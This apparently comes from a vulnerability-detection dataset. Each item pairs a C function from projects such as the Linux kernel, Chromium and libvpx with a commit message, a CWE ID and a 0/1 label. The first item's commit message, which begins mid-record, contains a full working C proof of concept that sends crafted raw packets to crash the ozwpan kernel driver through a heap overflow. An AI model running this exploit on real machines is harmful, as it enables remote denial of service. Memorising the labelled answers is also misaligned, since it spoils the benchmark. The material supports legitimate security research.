}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 43,191
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Encoder::EncodeFrame(VideoSource *video, const unsigned long frame_flags) {
if (video->img())
EncodeFrameInternal(*video, frame_flags);
else
Flush();
CxDataIterator iter = GetCxData();
while (const vpx_codec_cx_pkt_t *pkt = iter.Next()) {
if (pkt->kind != VPX_CODEC_STATS_PKT)
continue;
stats_->Append(*pkt);
}
}
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
CWE ID: CWE-119
| 0
| 164,412
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sctp_v4_cmp_addr(const union sctp_addr *addr1,
const union sctp_addr *addr2)
{
if (addr1->sa.sa_family != addr2->sa.sa_family)
return 0;
if (addr1->v4.sin_port != addr2->v4.sin_port)
return 0;
if (addr1->v4.sin_addr.s_addr != addr2->v4.sin_addr.s_addr)
return 0;
return 1;
}
Commit Message: sctp: fix race on protocol/netns initialization
Consider sctp module is unloaded and is being requested because an user
is creating a sctp socket.
During initialization, sctp will add the new protocol type and then
initialize pernet subsys:
status = sctp_v4_protosw_init();
if (status)
goto err_protosw_init;
status = sctp_v6_protosw_init();
if (status)
goto err_v6_protosw_init;
status = register_pernet_subsys(&sctp_net_ops);
The problem is that after those calls to sctp_v{4,6}_protosw_init(), it
is possible for userspace to create SCTP sockets like if the module is
already fully loaded. If that happens, one of the possible effects is
that we will have readers for net->sctp.local_addr_list list earlier
than expected and sctp_net_init() does not take precautions while
dealing with that list, leading to a potential panic but not limited to
that, as sctp_sock_init() will copy a bunch of blank/partially
initialized values from net->sctp.
The race happens like this:
CPU 0 | CPU 1
socket() |
__sock_create | socket()
inet_create | __sock_create
list_for_each_entry_rcu( |
answer, &inetsw[sock->type], |
list) { | inet_create
/* no hits */ |
if (unlikely(err)) { |
... |
request_module() |
/* socket creation is blocked |
* the module is fully loaded |
*/ |
sctp_init |
sctp_v4_protosw_init |
inet_register_protosw |
list_add_rcu(&p->list, |
last_perm); |
| list_for_each_entry_rcu(
| answer, &inetsw[sock->type],
sctp_v6_protosw_init | list) {
| /* hit, so assumes protocol
| * is already loaded
| */
| /* socket creation continues
| * before netns is initialized
| */
register_pernet_subsys |
Simply inverting the initialization order between
register_pernet_subsys() and sctp_v4_protosw_init() is not possible
because register_pernet_subsys() will create a control sctp socket, so
the protocol must be already visible by then. Deferring the socket
creation to a work-queue is not good specially because we loose the
ability to handle its errors.
So, as suggested by Vlad, the fix is to split netns initialization in
two moments: defaults and control socket, so that the defaults are
already loaded by when we register the protocol, while control socket
initialization is kept at the same moment it is today.
Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace")
Signed-off-by: Vlad Yasevich <vyasevich@gmail.com>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119
| 0
| 42,930
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int atl2_close(struct net_device *netdev)
{
struct atl2_adapter *adapter = netdev_priv(netdev);
WARN_ON(test_bit(__ATL2_RESETTING, &adapter->flags));
atl2_down(adapter);
atl2_free_irq(adapter);
atl2_free_ring_resources(adapter);
return 0;
}
Commit Message: atl2: Disable unimplemented scatter/gather feature
atl2 includes NETIF_F_SG in hw_features even though it has no support
for non-linear skbs. This bug was originally harmless since the
driver does not claim to implement checksum offload and that used to
be a requirement for SG.
Now that SG and checksum offload are independent features, if you
explicitly enable SG *and* use one of the rare protocols that can use
SG without checkusm offload, this potentially leaks sensitive
information (before you notice that it just isn't working). Therefore
this obscure bug has been designated CVE-2016-2117.
Reported-by: Justin Yackoski <jyackoski@crypto-nite.com>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.")
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 55,288
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void parser_init(struct jv_parser* p, int flags) {
p->flags = flags;
if ((p->flags & JV_PARSE_STREAMING)) {
p->path = jv_array();
} else {
p->path = jv_invalid();
p->flags &= ~(JV_PARSE_STREAM_ERRORS);
}
p->stack = 0;
p->stacklen = p->stackpos = 0;
p->last_seen = JV_LAST_NONE;
p->output = jv_invalid();
p->next = jv_invalid();
p->tokenbuf = 0;
p->tokenlen = p->tokenpos = 0;
if ((p->flags & JV_PARSE_SEQ))
p->st = JV_PARSER_WAITING_FOR_RS;
else
p->st = JV_PARSER_NORMAL;
p->eof = 0;
p->curr_buf = 0;
p->curr_buf_length = p->curr_buf_pos = p->curr_buf_is_partial = 0;
p->bom_strip_position = 0;
p->last_ch_was_ws = 0;
p->line = 1;
p->column = 0;
jvp_dtoa_context_init(&p->dtoa);
}
Commit Message: Heap buffer overflow in tokenadd() (fix #105)
This was an off-by one: the NUL terminator byte was not allocated on
resize. This was triggered by JSON-encoded numbers longer than 256
bytes.
CWE ID: CWE-119
| 0
| 56,395
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int __ref add_memory(int nid, u64 start, u64 size)
{
pg_data_t *pgdat = NULL;
int new_pgdat = 0;
struct resource *res;
int ret;
lock_memory_hotplug();
res = register_memory_resource(start, size);
ret = -EEXIST;
if (!res)
goto out;
if (!node_online(nid)) {
pgdat = hotadd_new_pgdat(nid, start);
ret = -ENOMEM;
if (!pgdat)
goto error;
new_pgdat = 1;
}
/* call arch's memory hotadd */
ret = arch_add_memory(nid, start, size);
if (ret < 0)
goto error;
/* we online node here. we can't roll back from here. */
node_set_online(nid);
if (new_pgdat) {
ret = register_one_node(nid);
/*
* If sysfs file of new node can't create, cpu on the node
* can't be hot-added. There is no rollback way now.
* So, check by BUG_ON() to catch it reluctantly..
*/
BUG_ON(ret);
}
/* create new memmap entry */
firmware_map_add_hotplug(start, start + size, "System RAM");
goto out;
error:
/* rollback pgdat allocation and others */
if (new_pgdat)
rollback_node_hotadd(nid, pgdat);
if (res)
release_memory_resource(res);
out:
unlock_memory_hotplug();
return ret;
}
Commit Message: mm/hotplug: correctly add new zone to all other nodes' zone lists
When online_pages() is called to add new memory to an empty zone, it
rebuilds all zone lists by calling build_all_zonelists(). But there's a
bug which prevents the new zone to be added to other nodes' zone lists.
online_pages() {
build_all_zonelists()
.....
node_set_state(zone_to_nid(zone), N_HIGH_MEMORY)
}
Here the node of the zone is put into N_HIGH_MEMORY state after calling
build_all_zonelists(), but build_all_zonelists() only adds zones from
nodes in N_HIGH_MEMORY state to the fallback zone lists.
build_all_zonelists()
->__build_all_zonelists()
->build_zonelists()
->find_next_best_node()
->for_each_node_state(n, N_HIGH_MEMORY)
So memory in the new zone will never be used by other nodes, and it may
cause strange behavor when system is under memory pressure. So put node
into N_HIGH_MEMORY state before calling build_all_zonelists().
Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
Signed-off-by: Jiang Liu <liuj97@gmail.com>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Minchan Kim <minchan@kernel.org>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Yinghai Lu <yinghai@kernel.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Cc: David Rientjes <rientjes@google.com>
Cc: Keping Chen <chenkeping@huawei.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID:
| 0
| 18,493
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static jboolean doBooleanCommand(JNIEnv* env, jstring javaCommand) {
char reply[REPLY_BUF_SIZE];
if (!doCommand(env, javaCommand, reply, sizeof(reply))) {
return JNI_FALSE;
}
jboolean result = (strcmp(reply, "OK") == 0);
if (!result) {
ScopedUtfChars command(env, javaCommand);
ALOGI("command '%s' returned '%s", command.c_str(), reply);
}
return result;
}
Commit Message: Deal correctly with short strings
The parseMacAddress function anticipates only properly formed
MAC addresses (6 hexadecimal octets separated by ":"). This
change properly deals with situations where the string is
shorter than expected, making sure that the passed in char*
reference in parseHexByte never exceeds the end of the string.
BUG: 28164077
TEST: Added a main function:
int main(int argc, char **argv) {
unsigned char addr[6];
if (argc > 1) {
memset(addr, 0, sizeof(addr));
parseMacAddress(argv[1], addr);
printf("Result: %02x:%02x:%02x:%02x:%02x:%02x\n",
addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]);
}
}
Tested with "", "a" "ab" "ab:c" "abxc".
Change-Id: I0db8d0037e48b62333d475296a45b22ab0efe386
CWE ID: CWE-200
| 0
| 159,122
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Browser::SelectLastTab() {
UserMetrics::RecordAction(UserMetricsAction("SelectLastTab"));
tab_handler_->GetTabStripModel()->SelectLastTab();
}
Commit Message: Implement a bubble that appears at the top of the screen when a tab enters
fullscreen mode via webkitRequestFullScreen(), telling the user how to exit
fullscreen.
This is implemented as an NSView rather than an NSWindow because the floating
chrome that appears in presentation mode should overlap the bubble.
Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac:
the mode in which the UI is hidden, accessible by moving the cursor to the top
of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode.
On Lion, however, fullscreen mode does not imply presentation mode: in
non-presentation fullscreen mode, the chrome is permanently shown. It is
possible to switch between presentation mode and fullscreen mode using the
presentation mode UI control.
When a tab initiates fullscreen mode on Lion, we enter presentation mode if not
in presentation mode already. When the user exits fullscreen mode using Chrome
UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we
return the user to the mode they were in before the tab entered fullscreen.
BUG=14471
TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen.
Need to test the Lion logic somehow, with no Lion trybots.
BUG=96883
Original review http://codereview.chromium.org/7890056/
TBR=thakis
Review URL: http://codereview.chromium.org/7920024
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 97,358
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: has_trash_files (GMount *mount)
{
GList *dirs, *l;
GFile *dir;
gboolean res;
dirs = get_trash_dirs_for_mount (mount);
res = FALSE;
for (l = dirs; l != NULL; l = l->next)
{
dir = l->data;
if (dir_has_files (dir))
{
res = TRUE;
break;
}
}
g_list_free_full (dirs, g_object_unref);
return res;
}
Commit Message: mime-actions: use file metadata for trusting desktop files
Currently we only trust desktop files that have the executable bit
set, and don't replace the displayed icon or the displayed name until
it's trusted, which prevents for running random programs by a malicious
desktop file.
However, the executable permission is preserved if the desktop file
comes from a compressed file.
To prevent this, add a metadata::trusted metadata to the file once the
user acknowledges the file as trusted. This adds metadata to the file,
which cannot be added unless it has access to the computer.
Also remove the SHEBANG "trusted" content we were putting inside the
desktop file, since that doesn't add more security since it can come
with the file itself.
https://bugzilla.gnome.org/show_bug.cgi?id=777991
CWE ID: CWE-20
| 0
| 61,080
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct task_struct *copy_process(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace)
{
int retval;
struct task_struct *p;
int cgroup_callbacks_done = 0;
if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS))
return ERR_PTR(-EINVAL);
/*
* Thread groups must share signals as well, and detached threads
* can only be started up within the thread group.
*/
if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND))
return ERR_PTR(-EINVAL);
/*
* Shared signal handlers imply shared VM. By way of the above,
* thread groups also imply shared VM. Blocking this case allows
* for various simplifications in other code.
*/
if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM))
return ERR_PTR(-EINVAL);
retval = security_task_create(clone_flags);
if (retval)
goto fork_out;
retval = -ENOMEM;
p = dup_task_struct(current);
if (!p)
goto fork_out;
rt_mutex_init_task(p);
#ifdef CONFIG_PROVE_LOCKING
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->user->processes) >=
p->signal->rlim[RLIMIT_NPROC].rlim_cur) {
if (!capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE) &&
p->user != current->nsproxy->user_ns->root_user)
goto bad_fork_free;
}
atomic_inc(&p->user->__count);
atomic_inc(&p->user->processes);
get_group_info(p->group_info);
/*
* If multiple threads are within copy_process(), then this check
* triggers too late. This doesn't hurt, the check is only there
* to stop root fork bombs.
*/
if (nr_threads >= max_threads)
goto bad_fork_cleanup_count;
if (!try_module_get(task_thread_info(p)->exec_domain->module))
goto bad_fork_cleanup_count;
if (p->binfmt && !try_module_get(p->binfmt->module))
goto bad_fork_cleanup_put_domain;
p->did_exec = 0;
delayacct_tsk_init(p); /* Must remain after dup_task_struct() */
copy_flags(clone_flags, p);
INIT_LIST_HEAD(&p->children);
INIT_LIST_HEAD(&p->sibling);
#ifdef CONFIG_PREEMPT_RCU
p->rcu_read_lock_nesting = 0;
p->rcu_flipctr_idx = 0;
#endif /* #ifdef CONFIG_PREEMPT_RCU */
p->vfork_done = NULL;
spin_lock_init(&p->alloc_lock);
clear_tsk_thread_flag(p, TIF_SIGPENDING);
init_sigpending(&p->pending);
p->utime = cputime_zero;
p->stime = cputime_zero;
p->gtime = cputime_zero;
p->utimescaled = cputime_zero;
p->stimescaled = cputime_zero;
p->prev_utime = cputime_zero;
p->prev_stime = cputime_zero;
p->default_timer_slack_ns = current->timer_slack_ns;
#ifdef CONFIG_DETECT_SOFTLOCKUP
p->last_switch_count = 0;
p->last_switch_timestamp = 0;
#endif
task_io_accounting_init(&p->ioac);
acct_clear_integrals(p);
posix_cpu_timers_init(p);
p->lock_depth = -1; /* -1 = no lock */
do_posix_clock_monotonic_gettime(&p->start_time);
p->real_start_time = p->start_time;
monotonic_to_bootbased(&p->real_start_time);
#ifdef CONFIG_SECURITY
p->security = NULL;
#endif
p->cap_bset = current->cap_bset;
p->io_context = NULL;
p->audit_context = NULL;
cgroup_fork(p);
#ifdef CONFIG_NUMA
p->mempolicy = mpol_dup(p->mempolicy);
if (IS_ERR(p->mempolicy)) {
retval = PTR_ERR(p->mempolicy);
p->mempolicy = NULL;
goto bad_fork_cleanup_cgroup;
}
mpol_fix_fork_child_flag(p);
#endif
#ifdef CONFIG_TRACE_IRQFLAGS
p->irq_events = 0;
#ifdef __ARCH_WANT_INTERRUPTS_ON_CTXSW
p->hardirqs_enabled = 1;
#else
p->hardirqs_enabled = 0;
#endif
p->hardirq_enable_ip = 0;
p->hardirq_enable_event = 0;
p->hardirq_disable_ip = _THIS_IP_;
p->hardirq_disable_event = 0;
p->softirqs_enabled = 1;
p->softirq_enable_ip = _THIS_IP_;
p->softirq_enable_event = 0;
p->softirq_disable_ip = 0;
p->softirq_disable_event = 0;
p->hardirq_context = 0;
p->softirq_context = 0;
#endif
#ifdef CONFIG_LOCKDEP
p->lockdep_depth = 0; /* no locks held yet */
p->curr_chain_key = 0;
p->lockdep_recursion = 0;
#endif
#ifdef CONFIG_DEBUG_MUTEXES
p->blocked_on = NULL; /* not blocked yet */
#endif
/* Perform scheduler related setup. Assign this task to a CPU. */
sched_fork(p, clone_flags);
if ((retval = security_task_alloc(p)))
goto bad_fork_cleanup_policy;
if ((retval = audit_alloc(p)))
goto bad_fork_cleanup_security;
/* copy all the process information */
if ((retval = copy_semundo(clone_flags, p)))
goto bad_fork_cleanup_audit;
if ((retval = copy_files(clone_flags, p)))
goto bad_fork_cleanup_semundo;
if ((retval = copy_fs(clone_flags, p)))
goto bad_fork_cleanup_files;
if ((retval = copy_sighand(clone_flags, p)))
goto bad_fork_cleanup_fs;
if ((retval = copy_signal(clone_flags, p)))
goto bad_fork_cleanup_sighand;
if ((retval = copy_mm(clone_flags, p)))
goto bad_fork_cleanup_signal;
if ((retval = copy_keys(clone_flags, p)))
goto bad_fork_cleanup_mm;
if ((retval = copy_namespaces(clone_flags, p)))
goto bad_fork_cleanup_keys;
if ((retval = copy_io(clone_flags, p)))
goto bad_fork_cleanup_namespaces;
retval = copy_thread(0, clone_flags, stack_start, stack_size, p, regs);
if (retval)
goto bad_fork_cleanup_io;
if (pid != &init_struct_pid) {
retval = -ENOMEM;
pid = alloc_pid(task_active_pid_ns(p));
if (!pid)
goto bad_fork_cleanup_io;
if (clone_flags & CLONE_NEWPID) {
retval = pid_ns_prepare_proc(task_active_pid_ns(p));
if (retval < 0)
goto bad_fork_free_pid;
}
}
p->pid = pid_nr(pid);
p->tgid = p->pid;
if (clone_flags & CLONE_THREAD)
p->tgid = current->tgid;
if (current->nsproxy != p->nsproxy) {
retval = ns_cgroup_clone(p, pid);
if (retval)
goto bad_fork_free_pid;
}
p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
/*
* Clear TID on mm_release()?
*/
p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
#ifdef CONFIG_FUTEX
p->robust_list = NULL;
#ifdef CONFIG_COMPAT
p->compat_robust_list = NULL;
#endif
INIT_LIST_HEAD(&p->pi_state_list);
p->pi_state_cache = NULL;
#endif
/*
* sigaltstack should be cleared when sharing the same VM
*/
if ((clone_flags & (CLONE_VM|CLONE_VFORK)) == CLONE_VM)
p->sas_ss_sp = p->sas_ss_size = 0;
/*
* Syscall tracing should be turned off in the child regardless
* of CLONE_PTRACE.
*/
clear_tsk_thread_flag(p, TIF_SYSCALL_TRACE);
#ifdef TIF_SYSCALL_EMU
clear_tsk_thread_flag(p, TIF_SYSCALL_EMU);
#endif
clear_all_latency_tracing(p);
/* Our parent execution domain becomes current domain
These must match for thread signalling to apply */
p->parent_exec_id = p->self_exec_id;
/* ok, now we should be set up.. */
p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL);
p->pdeath_signal = 0;
p->exit_state = 0;
/*
* Ok, make it visible to the rest of the system.
* We dont wake it up yet.
*/
p->group_leader = p;
INIT_LIST_HEAD(&p->thread_group);
/* Now that the task is set up, run cgroup callbacks if
* necessary. We need to run them before the task is visible
* on the tasklist. */
cgroup_fork_callbacks(p);
cgroup_callbacks_done = 1;
/* Need tasklist lock for parent etc handling! */
write_lock_irq(&tasklist_lock);
/*
* The task hasn't been attached yet, so its cpus_allowed mask will
* not be changed, nor will its assigned CPU.
*
* The cpus_allowed mask of the parent may have changed after it was
* copied first time - so re-copy it here, then check the child's CPU
* to ensure it is on a valid CPU (and if not, just force it back to
* parent's CPU). This avoids alot of nasty races.
*/
p->cpus_allowed = current->cpus_allowed;
p->rt.nr_cpus_allowed = current->rt.nr_cpus_allowed;
if (unlikely(!cpu_isset(task_cpu(p), p->cpus_allowed) ||
!cpu_online(task_cpu(p))))
set_task_cpu(p, smp_processor_id());
/* CLONE_PARENT re-uses the old parent */
if (clone_flags & (CLONE_PARENT|CLONE_THREAD))
p->real_parent = current->real_parent;
else
p->real_parent = current;
spin_lock(¤t->sighand->siglock);
/*
* Process group and session signals need to be delivered to just the
* parent before the fork or both the parent and the child after the
* fork. Restart if a signal comes in before we add the new process to
* it's process group.
* A fatal signal pending means that current will exit, so the new
* thread can't slip out of an OOM kill (or normal SIGKILL).
*/
recalc_sigpending();
if (signal_pending(current)) {
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
retval = -ERESTARTNOINTR;
goto bad_fork_free_pid;
}
if (clone_flags & CLONE_THREAD) {
p->group_leader = current->group_leader;
list_add_tail_rcu(&p->thread_group, &p->group_leader->thread_group);
}
if (likely(p->pid)) {
list_add_tail(&p->sibling, &p->real_parent->children);
tracehook_finish_clone(p, clone_flags, trace);
if (thread_group_leader(p)) {
if (clone_flags & CLONE_NEWPID)
p->nsproxy->pid_ns->child_reaper = p;
p->signal->leader_pid = pid;
tty_kref_put(p->signal->tty);
p->signal->tty = tty_kref_get(current->signal->tty);
set_task_pgrp(p, task_pgrp_nr(current));
set_task_session(p, task_session_nr(current));
attach_pid(p, PIDTYPE_PGID, task_pgrp(current));
attach_pid(p, PIDTYPE_SID, task_session(current));
list_add_tail_rcu(&p->tasks, &init_task.tasks);
__get_cpu_var(process_counts)++;
}
attach_pid(p, PIDTYPE_PID, pid);
nr_threads++;
}
total_forks++;
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
proc_fork_connector(p);
cgroup_post_fork(p);
return p;
bad_fork_free_pid:
if (pid != &init_struct_pid)
free_pid(pid);
bad_fork_cleanup_io:
put_io_context(p->io_context);
bad_fork_cleanup_namespaces:
exit_task_namespaces(p);
bad_fork_cleanup_keys:
exit_keys(p);
bad_fork_cleanup_mm:
if (p->mm)
mmput(p->mm);
bad_fork_cleanup_signal:
cleanup_signal(p);
bad_fork_cleanup_sighand:
__cleanup_sighand(p->sighand);
bad_fork_cleanup_fs:
exit_fs(p); /* blocking */
bad_fork_cleanup_files:
exit_files(p); /* blocking */
bad_fork_cleanup_semundo:
exit_sem(p);
bad_fork_cleanup_audit:
audit_free(p);
bad_fork_cleanup_security:
security_task_free(p);
bad_fork_cleanup_policy:
#ifdef CONFIG_NUMA
mpol_put(p->mempolicy);
bad_fork_cleanup_cgroup:
#endif
cgroup_exit(p, cgroup_callbacks_done);
delayacct_tsk_free(p);
if (p->binfmt)
module_put(p->binfmt->module);
bad_fork_cleanup_put_domain:
module_put(task_thread_info(p)->exec_domain->module);
bad_fork_cleanup_count:
put_group_info(p->group_info);
atomic_dec(&p->user->processes);
free_uid(p->user);
bad_fork_free:
free_task(p);
fork_out:
return ERR_PTR(retval);
}
Commit Message: Move "exit_robust_list" into mm_release()
We don't want to get rid of the futexes just at exit() time, we want to
drop them when doing an execve() too, since that gets rid of the
previous VM image too.
Doing it at mm_release() time means that we automatically always do it
when we disassociate a VM map from the task.
Reported-by: pageexec@freemail.hu
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Hugh Dickins <hugh@veritas.com>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Brad Spengler <spender@grsecurity.net>
Cc: Alex Efros <powerman@powerman.name>
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 22,156
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ModuleExport void UnregisterDPXImage(void)
{
(void) UnregisterMagickInfo("DPX");
}
Commit Message:
CWE ID: CWE-119
| 0
| 71,522
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline int get_default_free_blocks_flags(struct inode *inode)
{
if (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode) ||
ext4_test_inode_flag(inode, EXT4_INODE_EA_INODE))
return EXT4_FREE_BLOCKS_METADATA | EXT4_FREE_BLOCKS_FORGET;
else if (ext4_should_journal_data(inode))
return EXT4_FREE_BLOCKS_FORGET;
return 0;
}
Commit Message: ext4: zero out the unused memory region in the extent tree block
This commit zeroes out the unused memory region in the buffer_head
corresponding to the extent metablock after writing the extent header
and the corresponding extent node entries.
This is done to prevent random uninitialized data from getting into
the filesystem when the extent block is synced.
This fixes CVE-2019-11833.
Signed-off-by: Sriram Rajagopalan <sriramr@arista.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
Cc: stable@kernel.org
CWE ID: CWE-200
| 0
| 90,178
|
